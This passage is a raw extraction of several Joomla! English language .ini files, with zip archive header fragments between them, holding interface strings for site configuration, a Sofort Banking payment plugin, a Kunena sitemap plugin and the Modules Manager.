enabled on your server to utilise this option." COM_CONFIG_FIELD_FORCE_SSL_LABEL="Force SSL" COM_CONFIG_FIELD_FTP_ENABLE_DESC="Enable the built in FTP (File Transfer Protocol) functionality which is needed in some server environments to be used instead of the normal upload functionality of Joomla!" COM_CONFIG_FIELD_FTP_ENABLE_LABEL="Enable FTP" COM_CONFIG_FIELD_FTP_HOST_DESC="Enter the name of the host of your FTP server" COM_CONFIG_FIELD_FTP_HOST_LABEL="FTP Host" COM_CONFIG_FIELD_FTP_PASSWORD_DESC="Enter your FTP password" COM_CONFIG_FIELD_FTP_PASSWORD_LABEL="FTP Password" COM_CONFIG_FIELD_FTP_PORT_DESC="Enter the port that FTP should be accessed by. The default is port 21." COM_CONFIG_FIELD_FTP_PORT_LABEL="FTP Port" COM_CONFIG_FIELD_FTP_ROOT_DESC="The path to the root directory of the FTP server. The root directory is the base directory to which the FTP server is allowed access." COM_CONFIG_FIELD_FTP_ROOT_LABEL="FTP Root" COM_CONFIG_FIELD_FTP_USERNAME_DESC="The username used to access the FTP server." COM_CONFIG_FIELD_FTP_USERNAME_LABEL="FTP Username" COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC="Compress buffered output if supported." COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL="Gzip Page Compression" COM_CONFIG_FIELD_HELP_SERVER_DESC="Select the name of the help server from which your system will collect the help screen displays." COM_CONFIG_FIELD_HELP_SERVER_LABEL="Help Server" COM_CONFIG_FIELD_LOG_PATH_DESC="For logging of Joomla. Please specify a folder." COM_CONFIG_FIELD_LOG_PATH_LABEL="Path to Log Folder" COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC="The email address that will be used to send site email." COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL="From email" COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC="Text displayed in the header "_QQ_"From:"_QQ_" field when sending a site email. Usually the site name." COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL="From Name" COM_CONFIG_FIELD_MAIL_MAILER_DESC="Select which mailer for the delivery of site email." COM_CONFIG_FIELD_MAIL_MAILER_LABEL="Mailer" COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC="Enter the path to the sendmail program directory on the host server." COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL="Sendmail Path" COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC="Select Yes if your SMTP Host requires SMTP Authentication." COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL="SMTP Authentication" COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC="Enter the name of the SMTP host." COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL="SMTP Host" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC="Enter the password for the SMTP host" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL="SMTP Password" COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC="Enter the port number of your SMTP server. Use 25 for most unsecure servers and 465 for most secure servers." COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL="SMTP Port" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC="Select the security model that your SMTP server uses." COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL="SMTP Security" COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC="Enter the username for access to the SMTP host." COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL="SMTP Username" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC="Memcache Compression" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL="Memcache Compression" COM_CONFIG_FIELD_MEMCACHE_HOST_DESC="Memcache Server Host" COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL="Memcache Server Host" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC="Persistent Memcache" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL="Persistent Memcache" COM_CONFIG_FIELD_MEMCACHE_PORT_DESC="Memcache Server Port" COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL="Memcache Server Port" COM_CONFIG_FIELD_METAAUTHOR_DESC="Show the author meta tag when viewing articles" COM_CONFIG_FIELD_METAAUTHOR_LABEL="Show Author Meta Tag" COM_CONFIG_FIELD_METADESC_DESC="Enter a description of the overall Web site that is to be used by search engines. Generally, a maximum of 20 words is optimal." COM_CONFIG_FIELD_METADESC_LABEL="Site Meta Description" COM_CONFIG_FIELD_METAKEYS_DESC="Enter the keywords and phrases that best describe your Web site. Separate keywords and phrases with a comma." COM_CONFIG_FIELD_METAKEYS_LABEL="Site Meta Keywords" COM_CONFIG_FIELD_METALANGUAGE_DESC="Places the selected language in the metadata for the site." COM_CONFIG_FIELD_METALANGUAGE_LABEL="Site Meta Language" COM_CONFIG_FIELD_METAVERSION_LABEL="Show Joomla! Version" COM_CONFIG_FIELD_METAVERSION_DESC="Show the Joomla! version number in the generator meta tag." COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC="An optional image to be displayed on the default offline page. Make sure the image is less than 400px wide." COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL="Offline Image" COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC="The custom offline message will be used if the 'Offline Message' field is set to 'Use custom message'." COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL="Custom Message" COM_CONFIG_FIELD_SECRET_DESC="This is an auto-generated, unique alphanumeric code for every Joomla! installation. It is used for security functions." COM_CONFIG_FIELD_SECRET_LABEL="Secret" COM_CONFIG_FIELD_SEF_REWRITE_DESC="Select to use a server's rewrite engine to catch URLs that meet specific conditions and rewrite them as directed. Available for IIS 7 and Apache.
      Apache users only!
      Rename htaccess.txt to .htaccess before activating.
      IIS 7 users only!
      Rename web.config.txt to web.config and install IIS URL Rewrite Module before activating.
      " COM_CONFIG_FIELD_SEF_REWRITE_LABEL="Use URL rewriting" COM_CONFIG_FIELD_SEF_SUFFIX_DESC="If yes, the system will add a suffix to the URL based on the document type." COM_CONFIG_FIELD_SEF_SUFFIX_LABEL="Adds Suffix to URL" COM_CONFIG_FIELD_SEF_URL_DESC="Select whether or not the URLs are optimised for Search Engines." COM_CONFIG_FIELD_SEF_URL_LABEL="Search Engine Friendly URLs" COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC="Choose a city in the list to configure the date and time for display." COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL="Server Time Zone" COM_CONFIG_FIELD_SESSION_HANDLER_DESC="The mechanism by which Joomla! identifies a User once they are connected to the web site using non-persistent cookies." COM_CONFIG_FIELD_SESSION_HANDLER_LABEL="Session Handler" COM_CONFIG_FIELD_SESSION_TIME_DESC="Auto log out a User after they have been inactive for the entered number of minutes. Do not set too high." COM_CONFIG_FIELD_SESSION_TIME_LABEL="Session Lifetime" COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC="Display or not a frontend message when the site is offline. The custom offline message uses the value defined in the 'Custom message' field. The language offline message uses the value defined in the site language ini file." COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL="Offline Message" COM_CONFIG_FIELD_SITE_NAME_DESC="Enter the name of your Web site. This will be used in various locations (e.g. the backend browser title bar and Site Offline pages)." COM_CONFIG_FIELD_SITE_NAME_LABEL="Site Name" COM_CONFIG_FIELD_SITE_OFFLINE_DESC="Select whether access to the Site frontend is available. If Yes, the frontend will display or not a message depending on the settings below." COM_CONFIG_FIELD_SITE_OFFLINE_LABEL="Site Offline" COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC="Begin or end all Page Titles with the site name (for example, My Site Name - My Article Name)." COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL="Include Site Name in Page Titles" COM_CONFIG_FIELD_TEMP_PATH_DESC="Please select a writable Temp folder." COM_CONFIG_FIELD_TEMP_PATH_LABEL="Path to Temp Folder" COM_CONFIG_FIELD_UNICODESLUGS_DESC="Choose between transliteration and unicode aliases. Transliteration is default." COM_CONFIG_FIELD_UNICODESLUGS_LABEL="Unicode Aliases" COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY="Administrator Only" COM_CONFIG_FIELD_VALUE_AFTER="After" COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL="Author Email" COM_CONFIG_FIELD_VALUE_BEFORE="Before" COM_CONFIG_FIELD_VALUE_CACHE_OFF="OFF - Caching disabled" COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE="ON - Conservative caching" COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE="ON - Progressive caching" COM_CONFIG_FIELD_VALUE_DEVELOPMENT="Development" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM="Use Custom Message" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE="Use Site Language Default Message" COM_CONFIG_FIELD_VALUE_ENTIRE_SITE="Entire Site" COM_CONFIG_FIELD_VALUE_MAXIMUM="Maximum" COM_CONFIG_FIELD_VALUE_NO_EMAIL="No Email" COM_CONFIG_FIELD_VALUE_NONE="None" COM_CONFIG_FIELD_VALUE_PHP_MAIL="PHP Mail" COM_CONFIG_FIELD_VALUE_SENDMAIL="Sendmail" COM_CONFIG_FIELD_VALUE_SIMPLE="Simple" COM_CONFIG_FIELD_VALUE_SITE_EMAIL="Site Email" COM_CONFIG_FIELD_VALUE_SMTP="SMTP" COM_CONFIG_FIELD_VALUE_SSL="SSL" COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT="System Default" COM_CONFIG_FIELD_VALUE_TLS="TLS" COM_CONFIG_FTP_DETAILS="FTP Login Details" COM_CONFIG_FTP_DETAILS_TIP="For updating your configuration.php file, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_CONFIG_FTP_SETTINGS="FTP Settings" COM_CONFIG_GLOBAL_CONFIGURATION="Global Configuration" COM_CONFIG_HELPREFRESH_SUCCESS="The Help Sites list has been refreshed." COM_CONFIG_LOCATION_SETTINGS="Location Settings" COM_CONFIG_MAIL_SETTINGS="Mail Settings" COM_CONFIG_METADATA_SETTINGS="Metadata Settings" COM_CONFIG_PERMISSION_SETTINGS="Permission Settings" COM_CONFIG_PERMISSIONS="Permissions" COM_CONFIG_SAVE_SUCCESS="Configuration successfully saved." COM_CONFIG_SEO_SETTINGS="SEO Settings" COM_CONFIG_SERVER="Server" COM_CONFIG_SERVER_SETTINGS="Server Settings" COM_CONFIG_SESSION_SETTINGS="Session Settings" COM_CONFIG_SITE_SETTINGS="Site Settings" COM_CONFIG_SYSTEM="System" COM_CONFIG_SYSTEM_SETTINGS="System Settings" COM_CONFIG_TEXT_FILTER_SETTINGS="Text Filter Settings" COM_CONFIG_TEXT_FILTERS="Text Filters" COM_CONFIG_TEXT_FILTERS_DESC="These text filter settings will be applied to all text editor fields submitted by users in the selected groups.
      These filtering options give more control over the HTML your content providers submit. You can be as strict or as liberal as you require to suit your site needs. The filtering is opt-in and the default settings provide good protection against markup commonly associated with Web site attacks." COM_CONFIG_XML_DESCRIPTION="Configuration Manager" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this and all child groups, components and content. Note that:
      Inherited means that the permissions from the parent group will be used.
      Denied means that no matter what the parent group's setting is, the group being edited cannot take this action.
      Allowed means that the group being edited will be able to take this action (but if this is in conflict with the parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      Not Set is used only for the Public group in global configuration. The Public group is the parent of all other groups. If a permission is not set, it is treated as deny but can be changed for child groups, components, categories and items.
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\ a-language/en-GB/en-GB.plg_vmpayment_sofort.ininuW+A; @date : $Date$ ; @Id $Id: en-GB.plg_vmpayment_sofort.ini 7310 2013-10-30 18:19:25Z jjk $ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @package VMPayment ; @subpackage VirtueMart payment Sofort Banking VMPAYMENT_SOFORT_AMOUNT="Amount" VMPAYMENT_SOFORT_AMOUNT_INCORRECT="Amount incorrect. Order total amount: %1$s, Total in Payment Currency: %2$s, Currency Code: %3$s" VMPAYMENT_SOFORT_BUYER_PROTECTION="Activate buyer protection" VMPAYMENT_SOFORT_BUYER_PROTECTION_DESC="Determines whether buyer protection is to be activated. It can only be activated if buyer protection has been activated in the project." VMPAYMENT_SOFORT_CONFIGURATION_KEY="Configuration key for your shop system: " VMPAYMENT_SOFORT_CONFIGURATION_KEY_DESC="Configuration key assigned by SOFORT - serves e.g. as a password." VMPAYMENT_SOFORT_COST_PERCENT_TOTAL="Costs as a percentage of the total amount" VMPAYMENT_SOFORT_COST_PERCENT_TOTAL_DESC="Percentage of costs based on the total amount excluding shipping costs" VMPAYMENT_SOFORT_COST_PER_TRANSACTION="Costs per transaction" VMPAYMENT_SOFORT_COST_PER_TRANSACTION_DESC="Fixed amount per transaction" VMPAYMENT_SOFORT_COUNTRIES="Countries" VMPAYMENT_SOFORT_COUNTRIES_DESC="Please select the countries for which this payment method is to be applicable. If no country is selected, this payment method will be applicable for all countries" VMPAYMENT_SOFORT_CURRENCIES="Currencies" VMPAYMENT_SOFORT_CURRENCY="Currencies" VMPAYMENT_SOFORT_CURRENCY_DESC="Accepted currencies" VMPAYMENT_SOFORT_DEBUG="Debug?" VMPAYMENT_SOFORT_DEBUG_DESC="If activated, payment transactions will be logged in the log folder" VMPAYMENT_SOFORT_DOCUMENTATION="Installation and configuration Manual" VMPAYMENT_SOFORT_EMAIL="SOFORT payment email:" VMPAYMENT_SOFORT_EMAIL_CURRENCY="Email currency" VMPAYMENT_SOFORT_EMAIL_CURRENCY_DESC="Currency specified in the email" VMPAYMENT_SOFORT_EMAIL_CURRENCY_PAYMENT="Payment currency" VMPAYMENT_SOFORT_EMAIL_CURRENCY_VENDOR="Vendor currency" VMPAYMENT_SOFORT_ERROR_FROM="SOFORT error message: message %s, field: %s, code: %s" VMPAYMENT_SOFORT_ERROR_NOTIFICATION="Error in notification of SOFORT" VMPAYMENT_SOFORT_HIDE="Hide" VMPAYMENT_SOFORT_INVOICE="Order number" VMPAYMENT_SOFORT_LOGOS="Logos" VMPAYMENT_SOFORT_LOGOS_DESC="Logos displayed in connection with the designation of the payment" VMPAYMENT_SOFORT_MAX_AMOUNT="Maximum amount" VMPAYMENT_SOFORT_MAX_AMOUNT_DESC="Maximum amount for this payment method" VMPAYMENT_SOFORT_MIN_AMOUNT="Minimum amount" VMPAYMENT_SOFORT_MIN_AMOUNT_DESC="Minimum amount for this payment method" VMPAYMENT_SOFORT_NAME="Designation of payment method" VMPAYMENT_SOFORT_ORDER_NUMBER="Order number" VMPAYMENT_SOFORT_PARAMS="SOFORT PARAMETERS" VMPAYMENT_SOFORT_PARAMS_DESC="SOFORT Parameters" VMPAYMENT_SOFORT_PAYMENT_AMOUNT_INCORRECT="Invalid amount for SOFORT" VMPAYMENT_SOFORT_PAYMENT_CANCELLED="You cancelled the payment" VMPAYMENT_SOFORT_PAYMENT_EMAIL_CURRENCY="Payment currency" VMPAYMENT_SOFORT_PAYMENT_INFO="" VMPAYMENT_SOFORT_PAYMENT_NAME="Payment method" VMPAYMENT_SOFORT_PAYMENT_ORDER_TOTAL="Total order amount transmitted to SOFORT" VMPAYMENT_SOFORT_PAYMENT_PAGE="BESTELL STATUS" VMPAYMENT_SOFORT_PAYMENT_PRICE="Payment" VMPAYMENT_SOFORT_PAYMENT_SETTINGS="PARAMETERS" VMPAYMENT_SOFORT_PAYMENT_TITLE="

      SOFORT Banking

      " VMPAYMENT_SOFORT_PAYMENT_TOTAL_CURRENCY="Amount in payment currency" VMPAYMENT_SOFORT_READMORE="Read more about SOFORT Banking" VMPAYMENT_SOFORT_REGISTERNOW="Register now" VMPAYMENT_SOFORT_RESPONSE_AMOUNT="Amount of SOFORT " VMPAYMENT_SOFORT_RESPONSE_CURRENCY="Currency of SOFORT" VMPAYMENT_SOFORT_RESPONSE_STATUS="Status" VMPAYMENT_SOFORT_RESPONSE_STATUS_LOSS="No payment receipt" VMPAYMENT_SOFORT_RESPONSE_STATUS_PENDING="SOFORT Banking completed" VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON="Status reason" VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_COMPENSATION="Amount partially refunded (partial refund)." VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_CONSUMER_PROTECTION="The escrow account was credited with the amount." VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_CREDITED="Amount received." VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_NOT_CREDITED="Amount not received" VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_NOT_CREDITED_YET="Amount not yet credited" VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_REFUNDED="Amount refunded (full refund)." VMPAYMENT_SOFORT_RESPONSE_STATUS_REASON_SOFORT_BANK_ACCOUNT_NEEDED="The SOFORT Banking transaction was successfully completed. Additional status reports are only possible with a SOFORT Bank account." VMPAYMENT_SOFORT_RESPONSE_STATUS_RECEIVED="Confirmed" VMPAYMENT_SOFORT_RESPONSE_STATUS_REFUNDED="Amount refunded" VMPAYMENT_SOFORT_RESPONSE_TRANSACTION="Transaction ID" VMPAYMENT_SOFORT_RESTRICTIONS="RESTRICTIONS" VMPAYMENT_SOFORT_STATUS_LOSS="Order status for unsuccessful transactions." VMPAYMENT_SOFORT_STATUS_LOSS_DESC="Select the order status for the order if the payment by SOFORT was not successful." VMPAYMENT_SOFORT_STATUS_PENDING="Order status of completed transactions by SOFORT" VMPAYMENT_SOFORT_STATUS_PENDING_DESC="Status for transactions which have been successfully completed by SOFORT. Payment receipt can only be determined with a SOFORT Bank account." VMPAYMENT_SOFORT_STATUS_RECEIVED="Order status for confirmed payment receipt" VMPAYMENT_SOFORT_STATUS_RECEIVED_DESC="Select the order status for the order as soon as the payment receipt could be confirmed on your SOFORT Bank account." VMPAYMENT_SOFORT_STATUS_REFUNDED="Order status for refunded payments" VMPAYMENT_SOFORT_STATUS_REFUNDED_DESC="The order status for orders where the SOFORT payment was refunded." VMPAYMENT_SOFORT_TAX="Tax rate" VMPAYMENT_SOFORT_TAX_DESC="Tax on payment fee"PK@y>\R ,language/en-GB/en-GB.plg_xmap_com_kunena.ininuW+AXMAP_KUNENA_SHOW_TOPICS_LABEL="Show Topics" XMAP_KUNENA_SHOW_TOPICS_DESC="Should we include topics into the sitemap?" XMAP_KUNENA_MAX_TOPICS_LABEL="Max topics" XMAP_KUNENA_MAX_TOPICS_DESC="Max number of topics per category to include on sitemap (Leave empty for no limit)" XMAP_KUNENA_NEWEST_THAN_LABEL="Newest than" XMAP_KUNENA_NEWEST_THAN_DESC="Include only topics newest than this number of days (Leave it blank to ignore this option)" XMAP_KUNENA_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_KUNENA_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_KUNENA_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_KUNENA_CATEGORY_CHANGEFREQ_DESC="Set the chage frequency for the categories" XMAP_KUNENA_TOPIC_PRIORITY_LABEL="Topic Priority" XMAP_KUNENA_TOPIC_PRIORITY_DESC="Set the priority for the topics" XMAP_KUNENA_TOPIC_CHANGEFREQ_LABEL="Topic Change frequency" XMAP_KUNENA_TOPIC_CHANGEFREQ_DESC="Set the change frequency for the topics" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly"PK@y>\F EE-language/en-GB/en-GB.plg_editors_none.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - None" PLG_NONE_XML_DESCRIPTION="This loads a basic text entry field." PK@y>\ꖄ+++language/en-GB/en-GB.plg_content_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Content - Joomla" PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC="Check that categories are fully empty before they are deleted." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL="Check category deletion" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC="Email users where 'Send email' is on when there is a new article submitted via the frontend site." PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL="Email on new site article" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Does category processing for core extensions; sends an email when new article is submitted in the frontend."PK@y>\?$$$language/en-GB/en-GB.com_modules.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Modules Manager" COM_MODULES_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_MODULES_ASSIGNED_VARIES_EXCEPT="All except selected" COM_MODULES_ASSIGNED_VARIES_ONLY="Selected only" COM_MODULES_BASIC_FIELDSET_LABEL="Basic Options" COM_MODULES_BATCH_POSITION_LABEL="Set Position" COM_MODULES_BATCH_POSITION_NOCHANGE="Keep original Position" COM_MODULES_BATCH_POSITION_NOPOSITION="No Module Position" COM_MODULES_BATCH_OPTIONS="Batch process the selected modules" COM_MODULES_BATCH_TIP="If choosing to copy a module, any other actions selected will be applied to the copied module. Otherwise, all actions are applied to the selected module. When copying and not changing position, it is nevertheless necessary to select 'Keep Original Position' in the dropdown" COM_MODULES_CHANGE_POSITION_BUTTON="Select position" COM_MODULES_CHANGE_POSITION_TITLE="Change position" COM_MODULES_CONFIGURATION="Module Manager Options" COM_MODULES_CUSTOM_OUTPUT="Custom output" COM_MODULES_ERR_XML="Module XML data not available" COM_MODULES_ERROR_CANNOT_FIND_MODULE="Cannot find module" COM_MODULES_ERROR_CANNOT_GET_MODULE="Cannot get module" COM_MODULES_ERROR_INVALID_EXTENSION="Invalid module" COM_MODULES_ERROR_NO_MODULES_SELECTED="No module selected" COM_MODULES_EXTENSION_PUBLISHED_DISABLED="Module disabled and published" COM_MODULES_EXTENSION_PUBLISHED_ENABLED="Module enabled and published" COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED="Module disabled and unpublished" COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED="Module enabled and unpublished" COM_MODULES_FIELD_AUTOMATIC_TITLE_LABEL="Automatic title" COM_MODULES_FIELD_AUTOMATIC_TITLE_DESC="Set yes if you want an automatic translated title. Its use depends on the administrator template." COM_MODULES_FIELD_CACHE_TIME_DESC="The time in seconds before the module is recached" COM_MODULES_FIELD_CACHE_TIME_LABEL="Cache Time" COM_MODULES_FIELD_CACHING_DESC="Select whether to cache the content of this module" COM_MODULES_FIELD_CACHING_LABEL="Caching" COM_MODULES_FIELD_CLIENT_ID_DESC="The location of the module, frontend or backend. You cannot change this value." COM_MODULES_FIELD_CLIENT_ID_LABEL="Module Location" COM_MODULES_FIELD_CONTENT_DESC="Text" COM_MODULES_FIELD_CONTENT_LABEL="Text" COM_MODULES_FIELD_MODULE_DESC="Module type" COM_MODULES_FIELD_MODULE_LABEL="Module Type" COM_MODULES_FIELD_MODULECLASS_SFX_DESC="A suffix to be applied to the CSS class of the module. This allows for individual module styling." COM_MODULES_FIELD_MODULECLASS_SFX_LABEL="Module Class Suffix" COM_MODULES_FIELD_NOTE_DESC="An optional note to display in module list." COM_MODULES_FIELD_NOTE_LABEL="Note" COM_MODULES_FIELD_POSITION_DESC="You may select a module position from the modal display of pre-defined positions where you can filter by type and template, or enter your own module position by typing the name in the field and Save." COM_MODULES_FIELD_POSITION_LABEL="Position" COM_MODULES_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the module." COM_MODULES_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_MODULES_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the module." COM_MODULES_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_MODULES_FIELD_PUBLISHED_DESC="If published, this module will display on your site frontend or backend depending on the module." COM_MODULES_FIELD_SHOWTITLE_DESC="Show/Hide module title on display. Effect will depend on the chrome style in the template." COM_MODULES_FIELD_SHOWTITLE_LABEL="Show Title" COM_MODULES_FIELD_TITLE_DESC="Module must have a title" COM_MODULES_FIELD_VALUE_NOCACHING="No caching" COM_MODULES_FILTER_SEARCH_DESC="Filter by position name." COM_MODULES_HEADING_MODULE="Type" COM_MODULES_HEADING_PAGES="Pages" COM_MODULES_HEADING_POSITION="Position" COM_MODULES_HEADING_TEMPLATES="Templates" COM_MODULES_HTML_PUBLISH_DISABLED="Publish module::Extension disabled" COM_MODULES_HTML_PUBLISH_ENABLED="Publish module::Extension enabled" COM_MODULES_HTML_UNPUBLISH_DISABLED="Unpublish module::Extension disabled" COM_MODULES_HTML_UNPUBLISH_ENABLED="Unpublish module::Extension enabled" COM_MODULES_MANAGER_MODULE="Module Manager: Module %s" COM_MODULES_MANAGER_MODULES="Module Manager: Modules" COM_MODULES_MENU_ASSIGNMENT="Menu Assignment" COM_MODULES_MODULE_ASSIGN="Module Assignment" COM_MODULES_MODULE_DESCRIPTION="Module Description" COM_MODULES_MODULE_TEMPLATE_POSITION="%1$s (%2$s)" COM_MODULES_MODULES_FILTER_SEARCH_DESC="Search in module title." COM_MODULES_MSG_MANAGE_NO_MODULES="There are no modules installed matching your query" COM_MODULES_N_ITEMS_ARCHIVED="%d modules successfully archived" COM_MODULES_N_ITEMS_ARCHIVED_1="%d module successfully archived" COM_MODULES_N_ITEMS_CHECKED_IN_0="No module successfully checked in" COM_MODULES_N_ITEMS_CHECKED_IN_1="%d module successfully checked in" COM_MODULES_N_ITEMS_CHECKED_IN_MORE="%d modules successfully checked in" COM_MODULES_N_ITEMS_DELETED="%d modules successfully deleted" COM_MODULES_N_ITEMS_DELETED_1="%d module successfully deleted" COM_MODULES_N_ITEMS_PUBLISHED="%d modules successfully published" COM_MODULES_N_ITEMS_PUBLISHED_1="%d module successfully published" COM_MODULES_N_ITEMS_TRASHED="%d modules successfully trashed" COM_MODULES_N_ITEMS_TRASHED_1="%d module successfully trashed" COM_MODULES_N_ITEMS_UNPUBLISHED="%d modules successfully unpublished" COM_MODULES_N_ITEMS_UNPUBLISHED_1="%d module successfully unpublished" COM_MODULES_N_MODULES_DUPLICATED="%d modules successfully duplicated" COM_MODULES_N_MODULES_DUPLICATED_1="%d module successfully duplicated" COM_MODULES_NO_ITEM_SELECTED="No modules selected" COM_MODULES_NODESCRIPTION="No description available" COM_MODULES_OPTION_MENU_ALL="On all pages" COM_MODULES_OPTION_MENU_EXCLUDE="On all pages except those selected" COM_MODULES_OPTION_MENU_INCLUDE="Only on the pages selected" COM_MODULES_OPTION_MENU_NONE="No pages" COM_MODULES_OPTION_ORDER_POSITION="%d. %s" COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED="Template" COM_MODULES_OPTION_POSITION_USER_DEFINED="User" COM_MODULES_OPTION_SELECT_CLIENT="- Select Type -" COM_MODULES_OPTION_SELECT_MODULE="- Select Type -" COM_MODULES_OPTION_SELECT_POSITION="- Select Position -" COM_MODULES_OPTION_SELECT_TYPE="- Select type -" COM_MODULES_POSITION_ANALYTICS="Analytics" COM_MODULES_POSITION_BANNER="Banner" COM_MODULES_POSITION_BOTTOM="Bottom" COM_MODULES_POSITION_BREADCRUMB="Breadcrumb" COM_MODULES_POSITION_BREADCRUMBS="Breadcrumbs" COM_MODULES_POSITION_DEBUG="Debug" COM_MODULES_POSITION_FOOTER="Footer" COM_MODULES_POSITION_HEADER="Header" COM_MODULES_POSITION_LEFT2="Left 2" COM_MODULES_POSITION_LEFT="Left" COM_MODULES_POSITION_MAINNAV="Main Navigation" COM_MODULES_POSITION_NAV="Navigation" COM_MODULES_POSITION_OFFLINE="Offline" COM_MODULES_POSITION_POSITION-0="Position 0" COM_MODULES_POSITION_POSITION-10="Position 10" COM_MODULES_POSITION_POSITION-11="Position 11" COM_MODULES_POSITION_POSITION-12="Position 12" COM_MODULES_POSITION_POSITION-13="Position 13" COM_MODULES_POSITION_POSITION-14="Position 14" COM_MODULES_POSITION_POSITION-15="Position 15" COM_MODULES_POSITION_POSITION-1="Position 1" COM_MODULES_POSITION_POSITION-2="Position 2" COM_MODULES_POSITION_POSITION-3="Position 3" COM_MODULES_POSITION_POSITION-4="Position 4" COM_MODULES_POSITION_POSITION-5="Position 5" COM_MODULES_POSITION_POSITION-6="Position 6" COM_MODULES_POSITION_POSITION-7="Position 7" COM_MODULES_POSITION_POSITION-8="Position 8" COM_MODULES_POSITION_POSITION-9="Position 9" COM_MODULES_POSITION_RIGHT2="Right 2" COM_MODULES_POSITION_RIGHT="Right" COM_MODULES_POSITION_SUB1="Sub 1" COM_MODULES_POSITION_SUB2="Sub 2" COM_MODULES_POSITION_SUB3="Sub 3" COM_MODULES_POSITION_SUB4="Sub 4" 